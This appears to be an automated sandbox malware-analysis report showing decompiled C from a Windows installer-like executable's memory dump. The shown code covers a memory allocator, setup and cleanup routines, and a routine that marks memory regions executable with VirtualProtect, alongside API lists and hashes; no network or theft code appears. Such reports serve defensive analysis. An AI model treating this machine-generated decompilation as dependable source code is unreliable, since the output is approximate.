								E00403C48();
								_t99 =  *0x4bdb80; // 0x4bdb7c
								 *_t147 = 0x4bdb7c;
								 *0x4bdb80 = _t121;
								 *(_t147 + 4) = _t99;
								 *_t99 = _t121;
								 *0x4bdb78 = 0;
								_t121 = _t121 + 0x10;
							}
							return _t121;
						} else {
							__eflags = 0;
							return 0;
						}
					} else {
						_t67 = _t95 + 0xd3; // 0x1d3
						_t125 = (_t67 & 0xffffff00) + 0x30;
						__eflags = _t129;
						if(__eflags != 0) {
							while(1) {
								asm("lock cmpxchg [0x4bbae8], ah");
								if(__eflags == 0) {
									goto L42;
								}
								asm("pause");
								__eflags =  *0x4bb989;
								if(__eflags != 0) {
									continue;
								} else {
									Sleep(0);
									asm("lock cmpxchg [0x4bbae8], ah");
									if(__eflags != 0) {
										Sleep(0xa);
										continue;
									}
								}
								goto L42;
							}
						}
						L42:
						_t68 = _t125 - 0xb30; // -2445
						_t141 = _t68;
						_t142 = _t141 >> 0xd;
						_t131 = _t141 >> 8;
						_t104 = 0xffffffff << _t131 &  *(0x4bbaf8 + _t142 * 4);
						__eflags = 0xffffffff;
						if(0xffffffff == 0) {
							_t132 = _t142;
							__eflags = 0xfffffffe << _t132 &  *0x4bbaf4;
							if((0xfffffffe << _t132 &  *0x4bbaf4) == 0) {
								_t133 =  *0x4bbaf0; // 0x0
								_t134 = _t133 - _t125;
								__eflags = _t134;
								if(_t134 < 0) {
									_t109 = E00403BCC(_t125);
								} else {
									_t110 =  *0x4bbaec; // 0x22620a0
									_t109 = _t110 - _t125;
									 *0x4bbaec = _t109;
									 *0x4bbaf0 = _t134;
									 *(_t109 - 4) = _t125 | 0x00000002;
								}
								 *0x4bbae8 = 0;
								return _t109;
							} else {
								asm("bsf edx, eax");
								asm("bsf ecx, eax");
								_t135 = _t132 | _t142 << 0x00000005;
								goto L50;
							}
						} else {
							asm("bsf eax, eax");
							_t135 = _t131 & 0xffffffe0 | _t104;
							L50:
							_push(_t152);
							_push(_t145);
							_t148 = 0x4bbb78 + _t135 * 8;
							_t159 =  *((intOrPtr*)(_t148 + 4));
							_t114 =  *((intOrPtr*)(_t159 + 4));
							 *((intOrPtr*)(_t148 + 4)) = _t114;
							 *_t114 = _t148;
							__eflags = _t148 - _t114;
							if(_t148 == _t114) {
								asm("rol eax, cl");
								_t80 = 0x4bbaf8 + _t142 * 4;
								 *_t80 =  *(0x4bbaf8 + _t142 * 4) & 0xfffffffe;
								__eflags =  *_t80;
								if( *_t80 == 0) {
									asm("btr [0x4bbaf4], edx");
								}
							}
							_t150 = 0xfffffff0 &  *(_t159 - 4);
							_t144 = 0xfffffff0 - _t125;
							__eflags = 0xfffffff0;
							if(0xfffffff0 == 0) {
								_t89 =  &((_t159 - 4)[0xfffffffffffffffc]);
								 *_t89 =  *(_t159 - 4 + _t150) & 0x000000f7;
								__eflags =  *_t89;
							} else {
								_t116 = _t125 + _t159;
								 *((intOrPtr*)(_t116 - 4)) = 0xfffffffffffffff3;
								 *(0xfffffff0 + _t116 - 8) = 0xfffffff0;
								__eflags = 0xfffffff0 - 0xb30;
								if(0xfffffff0 >= 0xb30) {
									E00403B00(_t116, 0xfffffffffffffff3, _t144);
								}
							}
							_t93 = _t125 + 2; // 0x1a5
							 *(_t159 - 4) = _t93;
							 *0x4bbae8 = 0;
							return _t159;
						}
					}
				} else {
					__eflags = __cl;
					_t6 = __edx + 0x4bb990; // 0xc8c8c8c8
					__eax =  *_t6 & 0x000000ff;
					__ebx = 0x4b7080 + ( *_t6 & 0x000000ff) * 8;
					if(__eflags != 0) {
						while(1) {
							__eax = 0x100;
							asm("lock cmpxchg [ebx], ah");
							if(__eflags == 0) {
								goto L5;
							}
							__ebx = __ebx + 0x20;
							__eflags = __ebx;
							__eax = 0x100;
							asm("lock cmpxchg [ebx], ah");
							if(__ebx != 0) {
								__ebx = __ebx + 0x20;
								__eflags = __ebx;
								__eax = 0x100;
								asm("lock cmpxchg [ebx], ah");
								if(__ebx != 0) {
									__ebx = __ebx - 0x40;
									asm("pause");
									__eflags =  *0x4bb989;
									if(__eflags != 0) {
										continue;
									} else {
										Sleep(0);
										__eax = 0x100;
										asm("lock cmpxchg [ebx], ah");
										if(__eflags != 0) {
											Sleep(0xa);
											continue;
										}
									}
								}
							}
							goto L5;
						}
					}
					L5:
					__edx =  *(__ebx + 8);
					__eax =  *(__edx + 0x10);
					__ecx = 0xfffffff8;
					__eflags = __edx - __ebx;
					if(__edx == __ebx) {
						__edx =  *(__ebx + 0x18);
						__ecx =  *(__ebx + 2) & 0x0000ffff;
						__ecx = ( *(__ebx + 2) & 0x0000ffff) + __eax;
						__eflags = __eax -  *(__ebx + 0x14);
						if(__eax >  *(__ebx + 0x14)) {
							_push(__esi);
							_push(__edi);
							__eflags =  *0x4bb059;
							if(__eflags != 0) {
								while(1) {
									__eax = 0x100;
									asm("lock cmpxchg [0x4bbae8], ah");
									if(__eflags == 0) {
										goto L22;
									}
									asm("pause");
									__eflags =  *0x4bb989;
									if(__eflags != 0) {
										continue;
									} else {
										Sleep(0);
										__eax = 0x100;
										asm("lock cmpxchg [0x4bbae8], ah");
										if(__eflags != 0) {
											Sleep(0xa);
											continue;
										}
									}
									goto L22;
								}
							}
							L22:
							 *(__ebx + 1) =  *(__ebx + 1) &  *0x4bbaf4;
							__eflags =  *(__ebx + 1) &  *0x4bbaf4;
							if(( *(__ebx + 1) &  *0x4bbaf4) == 0) {
								__ecx =  *(__ebx + 4) & 0x0000ffff;
								__edi =  *0x4bbaf0; // 0x0
								__eflags = __edi - ( *(__ebx + 4) & 0x0000ffff);
								if(__edi < ( *(__ebx + 4) & 0x0000ffff)) {
									__eax =  *(__ebx + 6) & 0x0000ffff;
									__edi = __eax;
									__eax = E00403BCC(__eax);
									__esi = __eax;
									__eflags = __eax;
									if(__eax != 0) {
										goto L35;
									} else {
										 *0x4bbae8 = __al;
										 *__ebx = __al;
										_pop(__edi);
										_pop(__esi);
										_pop(__ebx);
										return __eax;
									}
								} else {
									__esi =  *0x4bbaec; // 0x22620a0
									__ecx =  *(__ebx + 6) & 0x0000ffff;
									__edx = __ecx + 0xb30;
									__eflags = __edi - __ecx + 0xb30;
									if(__edi >= __ecx + 0xb30) {
										__edi = __ecx;
									}
									__esi = __esi - __edi;
									 *0x4bbaf0 =  *0x4bbaf0 - __edi;
									 *0x4bbaec = __esi;
									goto L35;
								}
							} else {
								asm("bsf eax, esi");
								__esi = __eax * 8;
								__ecx =  *(0x4bbaf8 + __eax * 4);
								asm("bsf ecx, ecx");
								__ecx =  *(0x4bbaf8 + __eax * 4) + __eax * 8 * 4;
								__edi = 0x4bbb78 + ( *(0x4bbaf8 + __eax * 4) + __eax * 8 * 4) * 8;
								__esi =  *(__edi + 4);
								__edx =  *(__esi + 4);
								 *(__edi + 4) = __edx;
								 *__edx = __edi;
								__eflags = __edi - __edx;
								if(__edi == __edx) {
									__edx = 0xfffffffe;
									asm("rol edx, cl");
									_t38 = 0x4bbaf8 + __eax * 4;
									 *_t38 =  *(0x4bbaf8 + __eax * 4) & 0xfffffffe;
									__eflags =  *_t38;
									if( *_t38 == 0) {
										asm("btr [0x4bbaf4], eax");
									}
								}
								__edi = 0xfffffff0;
								__edi = 0xfffffff0 &  *(__esi - 4);
								__eflags = 0xfffffff0 - 0x10a60;
								if(0xfffffff0 < 0x10a60) {
									_t52 =  &((__esi - 4)[0xfffffffffffffffc]);
									 *_t52 = (__esi - 4)[0xfffffffffffffffc] & 0x000000f7;
									__eflags =  *_t52;
								} else {
									__edx = __edi;
									__edi =  *(__ebx + 6) & 0x0000ffff;
									__edx = __edx - __edi;
									__eax = __edi + __esi;
									__ecx = __edx + 3;
									 *(__eax - 4) = __ecx;
									 *(__edx + __eax - 8) = __edx;
									__eax = E00403B00(__eax, __ecx, __edx);
								}
								L35:
								_t56 = __edi + 6; // 0x6
								__ecx = _t56;
								 *(__esi - 4) = _t56;
								__eax = 0;
								 *0x4bbae8 = __al;
								 *__esi = __ebx;
								 *((intOrPtr*)(__esi + 0x10)) = 0;
								 *((intOrPtr*)(__esi + 0x14)) = 1;
								 *(__ebx + 0x18) = __esi;
								_t61 = __esi + 0x20; // 0x22620c0
								__eax = _t61;
								__ecx =  *(__ebx + 2) & 0x0000ffff;
								__edx = __ecx + __eax;
								 *(__ebx + 0x10) = __ecx + __eax;
								__edi = __edi + __esi;
								__edi = __edi - __ecx;
								__eflags = __edi;
								 *(__ebx + 0x14) = __edi;
								 *__ebx = 0;
								 *(__eax - 4) = __esi;
								_pop(__edi);
								_pop(__esi);
								_pop(__ebx);
								return __eax;
							}
						} else {
							_t19 = __edx + 0x14;
							 *_t19 =  *(__edx + 0x14) + 1;
							__eflags =  *_t19;
							 *(__ebx + 0x10) = __ecx;
							 *__ebx = 0;
							 *(__eax - 4) = __edx;
							_pop(__ebx);
							return __eax;
						}
					} else {
						 *(__edx + 0x14) =  *(__edx + 0x14) + 1;
						__ecx = 0xfffffff8 &  *(__eax - 4);
						__eflags = 0xfffffff8;
						 *(__edx + 0x10) = 0xfffffff8 &  *(__eax - 4);
						 *(__eax - 4) = __edx;
						if(0xfffffff8 == 0) {
							__ecx =  *(__edx + 8);
							 *(__ecx + 0xc) = __ebx;
							 *(__ebx + 8) = __ecx;
							 *__ebx = 0;
							_pop(__ebx);
							return __eax;
						} else {
							 *__ebx = 0;
							_pop(__ebx);
							return __eax;
						}
					}
				}
			}

0x00403ee8
0x00403ef4
0x00403efa
0x00404148
0x0040414d
0x00404260
0x00404261
0x00404263
0x00403c94
0x00403c98
0x00403c9a
0x00403ca4
0x00403cb4
0x00403cb9
0x00403cbd
0x00403cbf
0x00403cc1
0x00403cc7
0x00403cca
0x00403ccf
0x00403cd4
0x00403cda
0x00403ce0
0x00403ce3
0x00403ce5
0x00403cec
0x00403cec
0x00403cf5
0x00404269
0x00404269
0x0040426b
0x0040426b
0x00404153
0x00404153
0x0040415f
0x00404162
0x00404164
0x0040410c
0x00404111
0x00404119
0x00000000
0x00000000
0x0040411b
0x0040411d
0x00404124
0x00000000
0x00404126
0x00404128
0x00404132
0x0040413a
0x0040413e
0x00000000
0x0040413e
0x0040413a
0x00000000
0x00404124
0x0040410c
0x00404166
0x00404166
0x00404166
0x0040416e
0x00404171
0x0040417b
0x0040417b
0x00404182
0x00404195
0x00404199
0x0040419f
0x004041b8
0x004041be
0x004041be
0x004041c0
0x004041de
0x004041c2
0x004041c2
0x004041c7
0x004041c9
0x004041ce
0x004041d7
0x004041d7
0x004041e3
0x004041eb
0x004041a1
0x004041a1
0x004041ab
0x004041b3
0x00000000
0x004041b3
0x00404184
0x00404187
0x0040418a
0x004041ec
0x004041ec
0x004041ed
0x004041ee
0x004041f5
0x004041f8
0x004041fb
0x004041fe
0x00404200
0x00404202
0x00404209
0x0040420b
0x0040420b
0x0040420b
0x00404212
0x00404214
0x00404214
0x00404212
0x00404220
0x00404225
0x00404225
0x00404227
0x00404248
0x00404248
0x00404248
0x00404229
0x00404229
0x0040422f
0x00404232
0x00404236
0x0040423c
0x0040423e
0x0040423e
0x0040423c
0x0040424d
0x00404250
0x00404253
0x0040425f
0x0040425f
0x00404182
0x00403f00
0x00403f00
0x00403f02
0x00403f02
0x00403f09
0x00403f10
0x00403f68
0x00403f68
0x00403f6d
0x00403f71
0x00000000
0x00000000
0x00403f73
0x00403f73
0x00403f76
0x00403f7b
0x00403f7f
0x00403f81
0x00403f81
0x00403f84
0x00403f89
0x00403f8d
0x00403f8f
0x00403f92
0x00403f94
0x00403f9b
0x00000000
0x00403f9d
0x00403f9f
0x00403fa4
0x00403fa9
0x00403fad
0x00403fb5
0x00000000
0x00403fb5
0x00403fad
0x00403f9b
0x00403f8d
0x00000000
0x00403f7f
0x00403f68
0x00403f12
0x00403f12
0x00403f15
0x00403f18
0x00403f1d
0x00403f1f
0x00403f38
0x00403f3b
0x00403f3f
0x00403f41
0x00403f44
0x00403fbc
0x00403fbd
0x00403fbe
0x00403fc5
0x00403fc7
0x00403fc7
0x00403fcc
0x00403fd4
0x00000000
0x00000000
0x00403fd6
0x00403fd8
0x00403fdf
0x00000000
0x00403fe1
0x00403fe3
0x00403fe8
0x00403fed
0x00403ff5
0x00403ff9
0x00000000
0x00403ff9
0x00403ff5
0x00000000
0x00403fdf
0x00403fc7
0x00404000
0x00404004
0x00404004
0x0040400a
0x0040407c
0x00404080
0x00404086
0x00404088
0x004040b0
0x004040b4
0x004040b6
0x004040bb
0x004040bd
0x004040bf
0x00000000
0x004040c1
0x004040c1
0x004040c6
0x004040c8
0x004040c9
0x004040ca
0x004040cb
0x004040cb
0x0040408a
0x0040408a
0x00404090
0x00404094
0x0040409a
0x0040409c
0x0040409e
0x0040409e
0x004040a0
0x004040a2
0x004040a8
0x00000000
0x004040a8
0x0040400c
0x0040400c
0x0040400f
0x00404016
0x0040401d
0x00404020
0x00404023
0x0040402a
0x0040402d
0x00404030
0x00404033
0x00404035
0x00404037
0x00404039
0x0040403e
0x00404040
0x00404040
0x00404040
0x00404047
0x00404049
0x00404049
0x00404047
0x00404050
0x00404055
0x00404058
0x0040405e
0x004040cc
0x004040cc
0x004040cc
0x00404060
0x00404060
0x00404062
0x00404066
0x00404068
0x0040406b
0x0040406e
0x00404071
0x00404075
0x00404075
0x004040d1
0x004040d1
0x004040d1
0x004040d4
0x004040d7
0x004040d9
0x004040de
0x004040e0
0x004040e3
0x004040ea
0x004040ed
0x004040ed
0x004040f0
0x004040f4
0x004040f7
0x004040fa
0x004040fc
0x004040fc
0x004040fe
0x00404101
0x00404104
0x00404107
0x00404108
0x00404109
0x0040410a
0x0040410a
0x00403f46
0x00403f46
0x00403f46
0x00403f46
0x00403f4a
0x00403f4d
0x00403f50
0x00403f53
0x00403f54
0x00403f54
0x00403f21
0x00403f21
0x00403f25
0x00403f25
0x00403f28
0x00403f2b
0x00403f2e
0x00403f58
0x00403f5b
0x00403f5e
0x00403f61
0x00403f64
0x00403f65
0x00403f30
0x00403f30
0x00403f33
0x00403f34
0x00403f34
0x00403f2e
0x00403f1f

APIs

Sleep.KERNEL32(00000000,000000FF,00404788,00000000,0040BBE7,00000000,0040C0F5,00000000,0040C3B7,00000000,0040C3ED), ref: 00403F9F
Sleep.KERNEL32(0000000A,00000000,000000FF,00404788,00000000,0040BBE7,00000000,0040C0F5,00000000,0040C3B7,00000000,0040C3ED), ref: 00403FB5
Sleep.KERNEL32(00000000,00000000,?,000000FF,00404788,00000000,0040BBE7,00000000,0040C0F5,00000000,0040C3B7,00000000,0040C3ED), ref: 00403FE3
Sleep.KERNEL32(0000000A,00000000,00000000,?,000000FF,00404788,00000000,0040BBE7,00000000,0040C0F5,00000000,0040C3B7,00000000,0040C3ED), ref: 00403FF9

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a5f41a95b234689400651ffc7a7e648ad6c8ae29c578f3c4a4f7439c6b153684
Instruction ID: d98b69cfe0522def9def3360e9182a2a8bb24ce33fa39324cc86f3a67812f259
Opcode Fuzzy Hash: a5f41a95b234689400651ffc7a7e648ad6c8ae29c578f3c4a4f7439c6b153684
Instruction Fuzzy Hash: 99C123B2A002018BCB15CF69EC84356BFE4EB89311F1882BFE514AB3D5D7B89941C7D8

Uniqueness

Uniqueness Score: -1.00%

Function 004B60E8, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 165
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E004B60E8(void* __ebx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr _t26;
				intOrPtr _t31;
				intOrPtr _t37;
				intOrPtr _t38;
				intOrPtr _t42;
				intOrPtr _t44;
				intOrPtr _t47;
				intOrPtr _t51;
				intOrPtr _t53;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t59;
				intOrPtr _t61;
				WCHAR* _t63;
				intOrPtr _t69;
				intOrPtr _t74;
				int _t75;
				intOrPtr _t76;
				intOrPtr _t78;
				struct HWND__* _t81;
				intOrPtr _t82;
				intOrPtr _t86;
				void* _t90;
				intOrPtr _t93;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				void* _t120;
				intOrPtr _t121;

				_t119 = __esi;
				_t118 = __edi;
				_t85 = __ebx;
				_pop(_t101);
				_pop(_t88);
				 *[fs:eax] = _t101;
				E004AF678(_t88);
				if( *0x4ba440 == 0) {
					if(( *0x4c1d71 & 0x00000001) == 0 &&  *0x4ba441 == 0) {
						_t61 =  *0x4ba674; // 0x4c0d0c
						_t4 = _t61 + 0x2f8; // 0x0
						_t63 = E004084EC( *_t4);
						_t88 = _t120 - 0x28;
						_t101 =  *0x4c1c48; // 0x0
						E00426F08(0xc2, _t120 - 0x28, _t101);
						if(MessageBoxW(0, E004084EC( *((intOrPtr*)(_t120 - 0x28))), _t63, 0x24) != 6) {
							 *0x4ba44c = 2;
							E0041F238();
						}
					}
					E004056D0();
					E004AEFE8(_t120 - 0x2c, _t85, _t101, _t118, _t119); // executed
					E00407E00(0x4c1d94,  *((intOrPtr*)(_t120 - 0x2c)));
					_t26 =  *0x4c1d84; // 0x0
					E00422954(_t26, _t88, _t120 - 0x34);
					E004226C8( *((intOrPtr*)(_t120 - 0x34)), _t85, _t120 - 0x30, L".tmp", _t118, _t119);
					_push( *((intOrPtr*)(_t120 - 0x30)));
					_t31 =  *0x4c1d94; // 0x0
					E00422660(_t31, _t120 - 0x38);
					_pop(_t90);
					E0040873C(0x4c1d98, _t90,  *((intOrPtr*)(_t120 - 0x38)));
					_t107 =  *0x4c1d98; // 0x0
					E00407E00(0x4c1d9c, _t107);
					_t37 =  *0x4c1d90; // 0x4ca924
					_t15 = _t37 + 0x14; // 0x2b00ee
					_t38 =  *0x4c1d88; // 0x0
					E00423CE8(_t38,  *_t15);
					_push(_t120);
					_push(0x4b63ab);
					_push( *[fs:edx]);
					 *[fs:edx] = _t121;
					 *0x4c1de0 = 0;
					_t42 = E00423D00(1, 0, 1, 0); // executed
					 *0x4c1d8c = _t42;
					_push(_t120);
					_push(0x4b639a);
					_push( *[fs:eax]);
					 *[fs:eax] = _t121;
					_t44 =  *0x4c1d90; // 0x4ca924
					_t16 = _t44 + 0x18; // 0x2dfe00
					 *0x4c1de0 = E004053F0( *_t16);
					_t47 =  *0x4c1d90; // 0x4ca924
					_t17 = _t47 + 0x18; // 0x2dfe00
					_t86 =  *0x4c1de0; // 0x7fbd0010
					E00405884(_t86,  *_t17);
					_push(_t120);
					_push(0x4b62e9);
					_push( *[fs:eax]);
					 *[fs:eax] = _t121;
					_t51 =  *0x424cd8; // 0x424d30
					_t93 =  *0x4c1d88; // 0x0
					_t53 = E00424748(_t93, 1, _t51); // executed
					 *0x4c1de4 = _t53;
					_push(_t120);
					_push(0x4b62d8);
					_push( *[fs:eax]);
					 *[fs:eax] = _t121;
					_t55 =  *0x4c1d90; // 0x4ca924
					_t18 = _t55 + 0x18; // 0x2dfe00
					_t56 =  *0x4c1de4; // 0x22721d0
					E00424A24(_t56,  *_t18, _t86);
					_pop(_t114);
					 *[fs:eax] = _t114;
					_push(E004B62DF);
					_t59 =  *0x4c1de4; // 0x22721d0
					return E00405CE8(_t59);
				} else {
					_t69 =  *0x4ba674; // 0x4c0d0c
					_t1 = _t69 + 0x1d0; // 0x0
					E004AFA44( *_t1, __ebx, __edi, __esi);
					 *0x4ba44c = 0;
					_pop(_t115);
					 *[fs:eax] = _t115;
					_push(E004B6554);
					_t74 =  *0x4c1d88; // 0x0
					_t75 = E00405CE8(_t74);
					if( *0x4c1d9c != 0) {
						_t117 =  *0x4c1d9c; // 0x0
						_t75 = E004AF1B4(0, _t117, 0xfa, 0x32); // executed
					}
					if( *0x4c1d94 != 0) {
						_t82 =  *0x4c1d94; // 0x0
						_t75 = RemoveDirectoryW(E004084EC(_t82)); // executed
					}
					if( *0x4ba450 != 0) {
						_t81 =  *0x4ba450; // 0x1b040c
						_t75 = DestroyWindow(_t81); // executed
					}
					if( *0x4c1d78 != 0) {
						_t76 =  *0x4c1d78; // 0x0
						_t99 =  *0x4c1d7c; // 0x1
						_t116 =  *0x426bb0; // 0x426bb4
						E00408D08(_t76, _t99, _t116);
						_t78 =  *0x4c1d78; // 0x0
						E0040540C(_t78);
						 *0x4c1d78 = 0;
						return 0;
					}
					return _t75;
				}
			}

0x004b60e8
0x004b60e8
0x004b60e8
0x004b60ea
0x004b60ec
0x004b60ed
0x004b610d
0x004b6119
0x004b613e
0x004b614b
0x004b6150
0x004b6156
0x004b615c
0x004b615f
0x004b6169
0x004b6181
0x004b6183
0x004b618d
0x004b618d
0x004b6181
0x004b6192
0x004b619a
0x004b61a7
0x004b61af
0x004b61b4
0x004b61c4
0x004b61cc
0x004b61d0
0x004b61d5
0x004b61e2
0x004b61e3
0x004b61ed
0x004b61f3
0x004b61f8
0x004b61fd
0x004b6200
0x004b6205
0x004b620c
0x004b620d
0x004b6212
0x004b6215
0x004b621a
0x004b6232
0x004b6237
0x004b623e
0x004b623f
0x004b6244
0x004b6247
0x004b624a
0x004b624f
0x004b6257
0x004b625c
0x004b6261
0x004b6264
0x004b626e
0x004b6275
0x004b6276
0x004b627b
0x004b627e
0x004b6281
0x004b6287
0x004b6294
0x004b6299
0x004b62a0
0x004b62a1
0x004b62a6
0x004b62a9
0x004b62ac
0x004b62b1
0x004b62b6
0x004b62bb
0x004b62c2
0x004b62c5
0x004b62c8
0x004b62cd
0x004b62d7
0x004b611b
0x004b611b
0x004b6120
0x004b6126
0x004b612d
0x004b64b5
0x004b64b8
0x004b64bb
0x004b64c0
0x004b64c5
0x004b64d1
0x004b64df
0x004b64e7
0x004b64e7
0x004b64f3
0x004b64f5
0x004b6500
0x004b6500
0x004b650c
0x004b650e
0x004b6514
0x004b6514
0x004b6520
0x004b6522
0x004b6527
0x004b652d
0x004b6533
0x004b6538
0x004b653d
0x004b6544
0x00000000
0x004b6544
0x004b6549
0x004b6549

APIs

MessageBoxW.USER32(00000000,00000000,00000000,00000024), ref: 004B6179

Part of subcall function 004AFA44: MessageBoxW.USER32(00000000,00000000,Setup,00000010), ref: 004AFAAE

RemoveDirectoryW.KERNEL32(00000000,004B6554), ref: 004B6500
DestroyWindow.USER32(001B040C,004B6554), ref: 004B6514

Part of subcall function 004AF1B4: Sleep.KERNEL32(?,?,?,?,0000000D,?,004B64EC,000000FA,00000032,004B6554), ref: 004AF1D3
Part of subcall function 004AF1B4: GetLastError.KERNEL32(?,?,?,0000000D,?,004B64EC,000000FA,00000032,004B6554), ref: 004AF1F6
Part of subcall function 004AF1B4: GetLastError.KERNEL32(?,?,?,0000000D,?,004B64EC,000000FA,00000032,004B6554), ref: 004AF200

Strings

.tmp, xrefs: 004B61BF
0MB, xrefs: 004B6281

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastMessage$DestroyDirectoryRemoveSleepWindow
String ID: .tmp$0MB
API String ID: 3858953238-176122739
Opcode ID: 930ec171da33bb7cb26a68baf49ed61eca7e6ecce176de484762bd5e64518e8e
Instruction ID: b159488041d1577a8b45ed1a1d18f26c00613076fc9a683522f38ff229f2206a
Opcode Fuzzy Hash: 930ec171da33bb7cb26a68baf49ed61eca7e6ecce176de484762bd5e64518e8e
Instruction Fuzzy Hash: AC615A342002009FD755EF69ED86EAA37A5EB4A308F51453AF801976B2DA3CBC51CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 004AF91C, Relevance: 7.6, APIs: 5, Instructions: 80
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004AF91C(void* __eax) {
				char _v44;
				struct _SYSTEM_INFO _v80;
				long _v84;
				char _v88;
				long _t22;
				int _t28;
				void* _t37;
				struct _MEMORY_BASIC_INFORMATION* _t40;
				long _t41;
				void** _t42;

				_t42 =  &(_v80.dwPageSize);
				 *_t42 = __eax;
				_t40 =  &_v44;
				GetSystemInfo( &_v80); // executed
				_t22 = VirtualQuery( *_t42, _t40, 0x1c);
				if(_t22 == 0) {
					L17:
					return _t22;
				} else {
					while(1) {
						_t22 = _t40->AllocationBase;
						if(_t22 !=  *_t42) {
							goto L17;
						}
						if(_t40->State != 0x1000 || (_t40->Protect & 0x00000001) != 0) {
							L15:
							_t22 = VirtualQuery(_t40->BaseAddress + _t40->RegionSize, _t40, 0x1c);
							if(_t22 == 0) {
								goto L17;
							}
							continue;
						} else {
							_v88 = 0;
							_t41 = _t40->Protect;
							if(_t41 == 1 || _t41 == 2 || _t41 == 0x10 || _t41 == 0x20) {
								_t28 = VirtualProtect(_t40->BaseAddress, _t40->RegionSize, 0x40,  &_v84); // executed
								if(_t28 != 0) {
									_v88 = 1;
								}
							}
							_t37 = 0;
							while(_t37 < _t40->RegionSize) {
								E004AF914(_t40->BaseAddress + _t37);
								_t37 = _t37 + _v80.dwPageSize;
							}
							if(_v88 != 0) {
								VirtualProtect( *_t40, _t40->RegionSize, _v84,  &_v84); // executed
							}
							goto L15;
						}
					}
					goto L17;
				}
			}

0x004af920
0x004af923
0x004af926
0x004af92f
0x004af93b
0x004af942
0x004af9ee
0x004af9ee
0x004af948
0x004af9db
0x004af9db
0x004af9e1
0x00000000
0x00000000
0x004af954
0x004af9c7
0x004af9d2
0x004af9d9
0x00000000
0x00000000
0x00000000
0x004af95c
0x004af95c
0x004af961
0x004af967
0x004af986
0x004af98d
0x004af98f
0x004af98f
0x004af98d
0x004af994
0x004af9a5
0x004af99c
0x004af9a1
0x004af9a1
0x004af9af
0x004af9c2
0x004af9c2
0x00000000
0x004af9af
0x004af954
0x00000000
0x004af9db

APIs

GetSystemInfo.KERNEL32(?), ref: 004AF92F
VirtualQuery.KERNEL32(?,?,0000001C,?), ref: 004AF93B
VirtualProtect.KERNEL32(?,?,00000040,0000001C,?,?,0000001C), ref: 004AF986
VirtualProtect.KERNEL32(?,?,?,0000001C,?,?,00000040,0000001C,?,?,0000001C), ref: 004AF9C2
VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C,?), ref: 004AF9D2

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$ProtectQuery$InfoSystem
String ID:
API String ID: 2441996862-0
Opcode ID: 57281b4e736338f8d77ca256b537dd22dd4c981be38144bf210ac0f1d0b120f5
Instruction ID: 3a96586125c0dafbea7f6284d897bb751f900199eded140d0d018ead0d29608e
Opcode Fuzzy Hash: 57281b4e736338f8d77ca256b537dd22dd4c981be38144bf210ac0f1d0b120f5
Instruction Fuzzy Hash: C5212CB1104344BAD730DA99C885F6BBBEC9B56354F04492EF59583681D339E848C766

Uniqueness

Uniqueness Score: -1.00%

Function 00407750, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93
threadCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00407750() {
				void* _t20;
				void* _t23;
				intOrPtr _t31;
				intOrPtr* _t33;
				void* _t46;
				struct HINSTANCE__* _t49;
				void* _t56;

				if( *0x4b7004 != 0) {
					E00407630();
					E004076B8(_t46);
					 *0x4b7004 = 0;
				}
				if( *0x4bdbcc != 0 && GetCurrentThreadId() ==  *0x4bdbf4) {
					E00407388(0x4bdbc8);
					E0040768C(0x4bdbc8);
				}
				if( *0x004BDBC0 != 0 ||  *0x4bb054 == 0) {
					L8:
					if( *((char*)(0x4bdbc0)) == 2 &&  *0x4b7000 == 0) {
						 *0x004BDBA4 = 0;
					}
					if( *((char*)(0x4bdbc0)) != 0) {
						L14:
						E004073B0();
						if( *((char*)(0x4bdbc0)) <= 1 ||  *0x4b7000 != 0) {
							_t15 =  *0x004BDBA8;
							if( *0x004BDBA8 != 0) {
								E0040B40C(_t15);
								_t31 =  *((intOrPtr*)(0x4bdba8));
								_t8 = _t31 + 0x10; // 0x400000
								_t49 =  *_t8;
								_t9 = _t31 + 4; // 0x400000
								if(_t49 !=  *_t9 && _t49 != 0) {
									FreeLibrary(_t49);
								}
							}
						}
						E00407388(0x4bdb98);
						if( *((char*)(0x4bdbc0)) == 1) {
							 *0x004BDBBC();
						}
						if( *((char*)(0x4bdbc0)) != 0) {
							E0040768C(0x4bdb98);
						}
						if( *0x4bdb98 == 0) {
							if( *0x4bb038 != 0) {
								 *0x4bb038();
							}
